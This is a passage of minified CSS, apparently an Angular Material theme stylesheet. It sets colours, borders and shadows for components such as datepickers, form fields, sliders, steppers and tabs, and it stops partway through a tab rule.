.mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected),.mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected){background-color:rgba(0,0,0,.04)}\n.mat-calendar-body-today:not(.mat-calendar-body-selected){border-color:rgba(0,0,0,.38)}\n.mat-calendar-body-disabled>.mat-calendar-body-today:not(.mat-calendar-body-selected){border-color:rgba(0,0,0,.18)}\n.mat-calendar-body-selected{background-color:#3f51b5;color:#fff}\n.mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:rgba(63,81,181,.4)}\n.mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}\n.mat-datepicker-content{box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12);background-color:#fff;color:rgba(0,0,0,.87)}\n.mat-datepicker-content.mat-accent .mat-calendar-body-selected{background-color:#ff4081;color:#fff}\n.mat-datepicker-content.mat-accent .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:rgba(255,64,129,.4)}\n.mat-datepicker-content.mat-accent .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}\n.mat-datepicker-content.mat-warn .mat-calendar-body-selected{background-color:#f44336;color:#fff}\n.mat-datepicker-content.mat-warn .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:rgba(244,67,54,.4)}\n.mat-datepicker-content.mat-warn .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}\n.mat-datepicker-content-touch{box-shadow:0 0 0 0 rgba(0,0,0,.2),0 0 0 0 rgba(0,0,0,.14),0 0 0 0 rgba(0,0,0,.12)}\n.mat-datepicker-toggle-active{color:#3f51b5}\n.mat-datepicker-toggle-active.mat-accent{color:#ff4081}\n.mat-datepicker-toggle-active.mat-warn{color:#f44336}\n.mat-dialog-container{box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12);background:#fff;color:rgba(0,0,0,.87)}\n.mat-divider{border-top-color:rgba(0,0,0,.12)}\n.mat-divider-vertical{border-right-color:rgba(0,0,0,.12)}\n.mat-expansion-panel{background:#fff;color:rgba(0,0,0,.87)}\n.mat-expansion-panel:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)}\n.mat-action-row{border-top-color:rgba(0,0,0,.12)}\n.mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true]),.mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true]),.mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true]){background:rgba(0,0,0,.04)}\n@media (hover:none){.mat-expansion-panel:not(.mat-expanded):not([aria-disabled=true]) .mat-expansion-panel-header:hover{background:#fff}}\n.mat-expansion-panel-header-title{color:rgba(0,0,0,.87)}\n.mat-expansion-indicator::after,.mat-expansion-panel-header-description{color:rgba(0,0,0,.54)}\n.mat-expansion-panel-header[aria-disabled=true]{color:rgba(0,0,0,.26)}\n.mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-description,.mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-title{color:inherit}\n.mat-form-field-label{color:rgba(0,0,0,.6)}\n.mat-hint{color:rgba(0,0,0,.6)}\n.mat-form-field.mat-focused .mat-form-field-label{color:#3f51b5}\n.mat-form-field.mat-focused .mat-form-field-label.mat-accent{color:#ff4081}\n.mat-form-field.mat-focused .mat-form-field-label.mat-warn{color:#f44336}\n.mat-focused .mat-form-field-required-marker{color:#ff4081}\n.mat-form-field-ripple{background-color:rgba(0,0,0,.87)}\n.mat-form-field.mat-focused .mat-form-field-ripple{background-color:#3f51b5}\n.mat-form-field.mat-focused .mat-form-field-ripple.mat-accent{background-color:#ff4081}\n.mat-form-field.mat-focused .mat-form-field-ripple.mat-warn{background-color:#f44336}\n.mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid) .mat-form-field-infix::after{color:#3f51b5}\n.mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-accent .mat-form-field-infix::after{color:#ff4081}\n.mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-warn .mat-form-field-infix::after{color:#f44336}\n.mat-form-field.mat-form-field-invalid .mat-form-field-label{color:#f44336}\n.mat-form-field.mat-form-field-invalid .mat-form-field-label .mat-form-field-required-marker,.mat-form-field.mat-form-field-invalid .mat-form-field-label.mat-accent{color:#f44336}\n.mat-form-field.mat-form-field-invalid .mat-form-field-ripple,.mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent{background-color:#f44336}\n.mat-error{color:#f44336}\n.mat-form-field-appearance-legacy .mat-form-field-label{color:rgba(0,0,0,.54)}\n.mat-form-field-appearance-legacy .mat-hint{color:rgba(0,0,0,.54)}\n.mat-form-field-appearance-legacy .mat-form-field-underline{background-color:rgba(0,0,0,.42)}\n.mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0,rgba(0,0,0,.42) 33%,transparent 0);background-size:4px 100%;background-repeat:repeat-x}\n.mat-form-field-appearance-standard .mat-form-field-underline{background-color:rgba(0,0,0,.42)}\n.mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0,rgba(0,0,0,.42) 33%,transparent 0);background-size:4px 100%;background-repeat:repeat-x}\n.mat-form-field-appearance-fill .mat-form-field-flex{background-color:rgba(0,0,0,.04)}\n.mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{background-color:rgba(0,0,0,.02)}\n.mat-form-field-appearance-fill .mat-form-field-underline::before{background-color:rgba(0,0,0,.42)}\n.mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-label{color:rgba(0,0,0,.38)}\n.mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-underline::before{background-color:transparent}\n.mat-form-field-appearance-outline .mat-form-field-outline{color:rgba(0,0,0,.12)}\n.mat-form-field-appearance-outline .mat-form-field-outline-thick{color:rgba(0,0,0,.87)}\n.mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{color:#3f51b5}\n.mat-form-field-appearance-outline.mat-focused.mat-accent .mat-form-field-outline-thick{color:#ff4081}\n.mat-form-field-appearance-outline.mat-focused.mat-warn .mat-form-field-outline-thick{color:#f44336}\n.mat-form-field-appearance-outline.mat-form-field-invalid.mat-form-field-invalid .mat-form-field-outline-thick{color:#f44336}\n.mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-label{color:rgba(0,0,0,.38)}\n.mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:rgba(0,0,0,.06)}\n.mat-icon.mat-primary{color:#3f51b5}\n.mat-icon.mat-accent{color:#ff4081}\n.mat-icon.mat-warn{color:#f44336}\n.mat-form-field-type-mat-native-select .mat-form-field-infix::after{color:rgba(0,0,0,.54)}\n.mat-form-field-type-mat-native-select.mat-form-field-disabled .mat-form-field-infix::after,.mat-input-element:disabled{color:rgba(0,0,0,.38)}\n.mat-input-element{caret-color:#3f51b5}\n.mat-input-element::-webkit-input-placeholder{color:rgba(0,0,0,.42)}\n.mat-input-element::-moz-placeholder{color:rgba(0,0,0,.42)}\n.mat-input-element:-ms-input-placeholder{color:rgba(0,0,0,.42)}\n.mat-input-element::-ms-input-placeholder{color:rgba(0,0,0,.42)}\n.mat-input-element::placeholder{color:rgba(0,0,0,.42)}\n.mat-input-element::-moz-placeholder{color:rgba(0,0,0,.42)}\n.mat-input-element::-webkit-input-placeholder{color:rgba(0,0,0,.42)}\n.mat-input-element:-ms-input-placeholder{color:rgba(0,0,0,.42)}\n.mat-accent .mat-input-element{caret-color:#ff4081}\n.mat-form-field-invalid .mat-input-element,.mat-warn .mat-input-element{caret-color:#f44336}\n.mat-form-field-type-mat-native-select.mat-form-field-invalid .mat-form-field-infix::after{color:#f44336}\n.mat-list-base .mat-list-item{color:rgba(0,0,0,.87)}\n.mat-list-base .mat-list-option{color:rgba(0,0,0,.87)}\n.mat-list-base .mat-subheader{color:rgba(0,0,0,.54)}\n.mat-list-item-disabled{background-color:#eee}\n.mat-action-list .mat-list-item:focus,.mat-action-list .mat-list-item:hover,.mat-list-option:focus,.mat-list-option:hover,.mat-nav-list .mat-list-item:focus,.mat-nav-list .mat-list-item:hover{background:rgba(0,0,0,.04)}\n.mat-menu-panel{background:#fff}\n.mat-menu-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)}\n.mat-menu-item{background:0 0;color:rgba(0,0,0,.87)}\n.mat-menu-item[disabled],.mat-menu-item[disabled]::after{color:rgba(0,0,0,.38)}\n.mat-menu-item .mat-icon-no-color,.mat-menu-item-submenu-trigger::after{color:rgba(0,0,0,.54)}\n.mat-menu-item-highlighted:not([disabled]),.mat-menu-item.cdk-keyboard-focused:not([disabled]),.mat-menu-item.cdk-program-focused:not([disabled]),.mat-menu-item:hover:not([disabled]){background:rgba(0,0,0,.04)}\n.mat-paginator{background:#fff}\n.mat-paginator,.mat-paginator-page-size .mat-select-trigger{color:rgba(0,0,0,.54)}\n.mat-paginator-decrement,.mat-paginator-increment{border-top:2px solid rgba(0,0,0,.54);border-right:2px solid rgba(0,0,0,.54)}\n.mat-paginator-first,.mat-paginator-last{border-top:2px solid rgba(0,0,0,.54)}\n.mat-icon-button[disabled] .mat-paginator-decrement,.mat-icon-button[disabled] .mat-paginator-first,.mat-icon-button[disabled] .mat-paginator-increment,.mat-icon-button[disabled] .mat-paginator-last{border-color:rgba(0,0,0,.38)}\n.mat-progress-bar-background{fill:#c5cae9}\n.mat-progress-bar-buffer{background-color:#c5cae9}\n.mat-progress-bar-fill::after{background-color:#3f51b5}\n.mat-progress-bar.mat-accent .mat-progress-bar-background{fill:#ff80ab}\n.mat-progress-bar.mat-accent .mat-progress-bar-buffer{background-color:#ff80ab}\n.mat-progress-bar.mat-accent .mat-progress-bar-fill::after{background-color:#ff4081}\n.mat-progress-bar.mat-warn .mat-progress-bar-background{fill:#ffcdd2}\n.mat-progress-bar.mat-warn .mat-progress-bar-buffer{background-color:#ffcdd2}\n.mat-progress-bar.mat-warn .mat-progress-bar-fill::after{background-color:#f44336}\n.mat-progress-spinner circle,.mat-spinner circle{stroke:#3f51b5}\n.mat-progress-spinner.mat-accent circle,.mat-spinner.mat-accent circle{stroke:#ff4081}\n.mat-progress-spinner.mat-warn circle,.mat-spinner.mat-warn circle{stroke:#f44336}\n.mat-radio-outer-circle{border-color:rgba(0,0,0,.54)}\n.mat-radio-button.mat-primary.mat-radio-checked .mat-radio-outer-circle{border-color:#3f51b5}\n.mat-radio-button.mat-primary .mat-radio-inner-circle,.mat-radio-button.mat-primary .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.mat-radio-button.mat-primary.mat-radio-checked .mat-radio-persistent-ripple,.mat-radio-button.mat-primary:active .mat-radio-persistent-ripple{background-color:#3f51b5}\n.mat-radio-button.mat-accent.mat-radio-checked .mat-radio-outer-circle{border-color:#ff4081}\n.mat-radio-button.mat-accent .mat-radio-inner-circle,.mat-radio-button.mat-accent .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.mat-radio-button.mat-accent.mat-radio-checked .mat-radio-persistent-ripple,.mat-radio-button.mat-accent:active .mat-radio-persistent-ripple{background-color:#ff4081}\n.mat-radio-button.mat-warn.mat-radio-checked .mat-radio-outer-circle{border-color:#f44336}\n.mat-radio-button.mat-warn .mat-radio-inner-circle,.mat-radio-button.mat-warn .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.mat-radio-button.mat-warn.mat-radio-checked .mat-radio-persistent-ripple,.mat-radio-button.mat-warn:active .mat-radio-persistent-ripple{background-color:#f44336}\n.mat-radio-button.mat-radio-disabled .mat-radio-outer-circle,.mat-radio-button.mat-radio-disabled.mat-radio-checked .mat-radio-outer-circle{border-color:rgba(0,0,0,.38)}\n.mat-radio-button.mat-radio-disabled .mat-radio-inner-circle,.mat-radio-button.mat-radio-disabled .mat-radio-ripple .mat-ripple-element{background-color:rgba(0,0,0,.38)}\n.mat-radio-button.mat-radio-disabled .mat-radio-label-content{color:rgba(0,0,0,.38)}\n.mat-radio-button .mat-ripple-element{background-color:#000}\n.mat-select-value{color:rgba(0,0,0,.87)}\n.mat-select-placeholder{color:rgba(0,0,0,.42)}\n.mat-select-disabled .mat-select-value{color:rgba(0,0,0,.38)}\n.mat-select-arrow{color:rgba(0,0,0,.54)}\n.mat-select-panel{background:#fff}\n.mat-select-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)}\n.mat-select-panel .mat-option.mat-selected:not(.mat-option-multiple){background:rgba(0,0,0,.12)}\n.mat-form-field.mat-focused.mat-primary .mat-select-arrow{color:#3f51b5}\n.mat-form-field.mat-focused.mat-accent .mat-select-arrow{color:#ff4081}\n.mat-form-field.mat-focused.mat-warn .mat-select-arrow{color:#f44336}\n.mat-form-field .mat-select.mat-select-invalid .mat-select-arrow{color:#f44336}\n.mat-form-field .mat-select.mat-select-disabled .mat-select-arrow{color:rgba(0,0,0,.38)}\n.mat-drawer-container{background-color:#fafafa;color:rgba(0,0,0,.87)}\n.mat-drawer{background-color:#fff;color:rgba(0,0,0,.87)}\n.mat-drawer.mat-drawer-push{background-color:#fff}\n.mat-drawer:not(.mat-drawer-side){box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)}\n.mat-drawer-side{border-right:solid 1px rgba(0,0,0,.12)}\n.mat-drawer-side.mat-drawer-end{border-left:solid 1px rgba(0,0,0,.12);border-right:none}\n[dir=rtl] .mat-drawer-side{border-left:solid 1px rgba(0,0,0,.12);border-right:none}\n[dir=rtl] .mat-drawer-side.mat-drawer-end{border-left:none;border-right:solid 1px rgba(0,0,0,.12)}\n.mat-drawer-backdrop.mat-drawer-shown{background-color:rgba(0,0,0,.6)}\n.mat-slide-toggle.mat-checked .mat-slide-toggle-thumb{background-color:#ff4081}\n.mat-slide-toggle.mat-checked .mat-slide-toggle-bar{background-color:rgba(255,64,129,.54)}\n.mat-slide-toggle.mat-checked .mat-ripple-element{background-color:#ff4081}\n.mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-thumb{background-color:#3f51b5}\n.mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-bar{background-color:rgba(63,81,181,.54)}\n.mat-slide-toggle.mat-primary.mat-checked .mat-ripple-element{background-color:#3f51b5}\n.mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-thumb{background-color:#f44336}\n.mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-bar{background-color:rgba(244,67,54,.54)}\n.mat-slide-toggle.mat-warn.mat-checked .mat-ripple-element{background-color:#f44336}\n.mat-slide-toggle:not(.mat-checked) .mat-ripple-element{background-color:#000}\n.mat-slide-toggle-thumb{box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12);background-color:#fafafa}\n.mat-slide-toggle-bar{background-color:rgba(0,0,0,.38)}\n.mat-slider-track-background{background-color:rgba(0,0,0,.26)}\n.mat-primary .mat-slider-thumb,.mat-primary .mat-slider-thumb-label,.mat-primary .mat-slider-track-fill{background-color:#3f51b5}\n.mat-primary .mat-slider-thumb-label-text{color:#fff}\n.mat-accent .mat-slider-thumb,.mat-accent .mat-slider-thumb-label,.mat-accent .mat-slider-track-fill{background-color:#ff4081}\n.mat-accent .mat-slider-thumb-label-text{color:#fff}\n.mat-warn .mat-slider-thumb,.mat-warn .mat-slider-thumb-label,.mat-warn .mat-slider-track-fill{background-color:#f44336}\n.mat-warn .mat-slider-thumb-label-text{color:#fff}\n.mat-slider-focus-ring{background-color:rgba(255,64,129,.2)}\n.cdk-focused .mat-slider-track-background,.mat-slider:hover .mat-slider-track-background{background-color:rgba(0,0,0,.38)}\n.mat-slider-disabled .mat-slider-thumb,.mat-slider-disabled .mat-slider-track-background,.mat-slider-disabled .mat-slider-track-fill{background-color:rgba(0,0,0,.26)}\n.mat-slider-disabled:hover .mat-slider-track-background{background-color:rgba(0,0,0,.26)}\n.mat-slider-min-value .mat-slider-focus-ring{background-color:rgba(0,0,0,.12)}\n.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb,.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb-label{background-color:rgba(0,0,0,.87)}\n.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb,.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb-label{background-color:rgba(0,0,0,.26)}\n.mat-slider-min-value:not(.mat-slider-thumb-label-showing) .mat-slider-thumb{border-color:rgba(0,0,0,.26);background-color:transparent}\n.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused .mat-slider-thumb,.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover .mat-slider-thumb{border-color:rgba(0,0,0,.38)}\n.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused.mat-slider-disabled .mat-slider-thumb,.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover.mat-slider-disabled .mat-slider-thumb{border-color:rgba(0,0,0,.26)}\n.mat-slider-has-ticks .mat-slider-wrapper::after{border-color:rgba(0,0,0,.7)}\n.mat-slider-horizontal .mat-slider-ticks{background-image:repeating-linear-gradient(to right,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent);background-image:-moz-repeating-linear-gradient(.0001deg,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}\n.mat-slider-vertical .mat-slider-ticks{background-image:repeating-linear-gradient(to bottom,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}\n.mat-step-header.cdk-keyboard-focused,.mat-step-header.cdk-program-focused,.mat-step-header:hover{background-color:rgba(0,0,0,.04)}\n@media (hover:none){.mat-step-header:hover{background:0 0}}\n.mat-step-header .mat-step-label,.mat-step-header .mat-step-optional{color:rgba(0,0,0,.54)}\n.mat-step-header .mat-step-icon{background-color:rgba(0,0,0,.54);color:#fff}\n.mat-step-header .mat-step-icon-selected,.mat-step-header .mat-step-icon-state-done,.mat-step-header .mat-step-icon-state-edit{background-color:#3f51b5;color:#fff}\n.mat-step-header .mat-step-icon-state-error{background-color:transparent;color:#f44336}\n.mat-step-header .mat-step-label.mat-step-label-active{color:rgba(0,0,0,.87)}\n.mat-step-header .mat-step-label.mat-step-label-error{color:#f44336}\n.mat-stepper-horizontal,.mat-stepper-vertical{background-color:#fff}\n.mat-stepper-vertical-line::before{border-left-color:rgba(0,0,0,.12)}\n.mat-horizontal-stepper-header::after,.mat-horizontal-stepper-header::before,.mat-stepper-horizontal-line{border-top-color:rgba(0,0,0,.12)}\n.mat-sort-header-arrow{color:#757575}\n.mat-tab-header,.mat-tab-nav-bar{border-bottom:1px solid rgba(0,0,0,.12)}\n.mat-tab-group-inverted-header .mat-tab-header,.mat-tab-group-inverted-header .mat-tab-nav-bar{border-top:1px solid rgba(0,0,0,.12);border-bottom:none}\n.mat-tab-label,.mat-tab-link{color:rgba(0,0,0,.87)}\n.mat-tab-label.mat-tab-disabled,.mat-tab-link.mat-tab-disabled{color:rgba(0,0,0,.38)}\n.mat-tab-header-pagination-chevron{border-color:rgba(0,0,0,.87)}\n.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:rgba(0,0,0,.38)}\n.mat-tab-group[class*=mat-background-] .mat-tab-header,.mat-tab-nav-bar[class*=mat-background-]{border-bottom:none;border-top:none}\n.mat-tab-group.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-group.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:rgba(197,202,233,.3)}\n.mat-tab-group.mat-primary .mat-ink-bar,.mat-tab-nav-bar.mat-primary .mat-ink-bar{background-color:#3f51b5}\n.mat-tab-group.mat-primary.mat-background-primary .mat-ink-bar,.mat-tab-nav-bar.mat-primary.mat-background-primary .mat-ink-bar{background-color:#fff}\n.mat-tab-group.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-group.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:rgba(255,128,171,.3)}\n.mat-tab-group.mat-accent .mat-ink-bar,.mat-tab-nav-bar.mat-accent .mat-ink-bar{background-color:#ff4081}\n.mat-tab-group.mat-accent.mat-background-accent .mat-ink-bar,.mat-tab-nav-bar.mat-accent.mat-background-accent .mat-ink-bar{background-color:#fff}\n.mat-tab-group.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-group.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:rgba(255,205,210,.3)}\n.mat-tab-group.mat-warn .mat-ink-bar,.mat-tab-nav-bar.mat-warn .mat-ink-bar{background-color:#f44336}\n.mat-tab-group.mat-warn.mat-background-warn .mat-ink-bar,.mat-tab-nav-bar.mat-warn.mat-background-warn .mat-ink-bar{background-color:#fff}\n.mat-tab-group.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:rgba(197,202,233,.3)}\n.mat-tab-group.mat-background-primary .mat-tab-header,.mat-tab-group.mat-background-primary .mat-tab-header-pagination,.mat-tab-group.mat-background-primary .mat-tab-links,.mat-tab-nav-bar.mat-background-primary .mat-tab-header,.mat-tab-nav-bar.mat-background-primary .mat-tab-header-pagination,.mat-tab-nav-bar.mat-background-primary .mat-tab-links{background-color:#3f51b5}\n.mat-tab-group.mat-background-primary .mat-tab-label,.mat-tab-group.mat-background-primary .mat-tab-link,.mat-tab-nav-bar.mat-background-primary .mat-tab-label,.mat-tab-nav-bar.mat-background-primary .mat-tab-link{color:#fff}\n.mat-tab-group.mat-background-primary .mat-tab-label.mat-tab-disabled,.mat-tab-group.mat-background-primary .mat-tab-link.mat-tab-disabled,.mat-tab-nav-bar.mat-background-primary .mat-tab-label.mat-tab-disabled,.mat-tab-nav-bar.mat-background-primary .mat-tab-link.mat-tab-disabled{color:rgba(255,255,255,.4)}\n.mat-tab-group.mat-background-primary .mat-tab-header-pagination-chevron,.mat-tab-nav-bar.mat-background-primary .mat-tab-header-pagination-chevron{border-color:#fff}\n.mat-tab-group.mat-background-primary .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.mat-tab-nav-bar.mat-background-primary .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:rgba(255,255,255,.4)}\n.mat-tab-group.mat-background-primary .mat-ripple-element,.mat-tab-nav-bar.mat-background-primary .mat-ripple-element{background-color:rgba(255,255,255,.12)}\n.mat-tab-group.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:rgba(255,128,171,.3)}\n.mat-tab-group.mat-background-accent .mat-tab-header,.mat-tab-group.mat-background-accent .mat-tab-header-pagination,.mat-tab-group.mat-background-accent .mat-tab-links,.mat-tab-nav-bar.mat-background-accent .mat-tab-header,.mat-tab-nav-bar.mat-background-accent .mat-tab-header-pagination,.mat-tab-nav-bar.mat-background-accent .mat-tab-links{background-color:#ff4081}\n.mat-tab-group.mat-background-accent .mat-tab-label,.mat-tab-group.mat-background-accent .mat-tab-link,.mat-tab-nav-bar.mat-background-accent .mat-tab-label,.mat-tab-nav-bar.mat-background-accent .mat-tab-link{color:#fff}\n.mat-tab-group.mat-background-accent .mat-tab-label.mat-tab-disabled,.mat-tab-group.mat-background-accent .mat-tab-link.mat-tab-disabled,.mat-tab-nav-bar.mat-background-accent .mat-tab-label.mat-tab-disabled,.mat-tab-nav-bar.mat-background-accent .mat-tab-link.mat-tab-disabled{color:rgba(255,255,255,.4)}\n.mat-tab-group.mat-background-accent .mat-tab-header-pagination-chevron,.mat-tab-nav-bar.mat-background-accent .mat-tab-header-pagination-chevron{border-color:#fff}\n.mat-tab-group.mat-background-accent .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.mat-tab-nav-bar.mat-background-accent .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:rgba(255,255,255,.4)}\n.mat-tab-group.mat-background-accent .mat-ripple-element,.mat-tab-nav-bar.mat-background-accent .mat-ripple-element{background-color:rgba(255,255,255,.12)}\n.mat-tab-group.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:rgba(255,205,210,.3)}\n.mat-tab-group.mat-background-warn .mat-tab-header,.mat-tab-group.mat-background-warn .mat-tab-header-pagination,.mat-tab-group.mat-background-warn .mat-tab-links,.mat-tab-nav-bar.mat-background-warn .mat-tab-header,.mat-tab-nav-bar.mat-background-warn .mat-tab-header-pagination,.mat-tab-nav-bar.mat-background-warn .mat-tab-links{background-color:#f44336}\n.mat-tab-group.mat-background-warn .mat-tab-label,.mat-tab-group.mat-background-warn .mat-tab-link,.mat-tab-nav-bar.mat-background-warn .mat-tab-label,.mat-tab-nav-bar.mat-background-warn .mat-tab-link{color:#fff}\n.mat-tab-group.mat-background-warn .mat-tab-label.mat-tab-disabled,.mat-tab-group.mat-background-warn 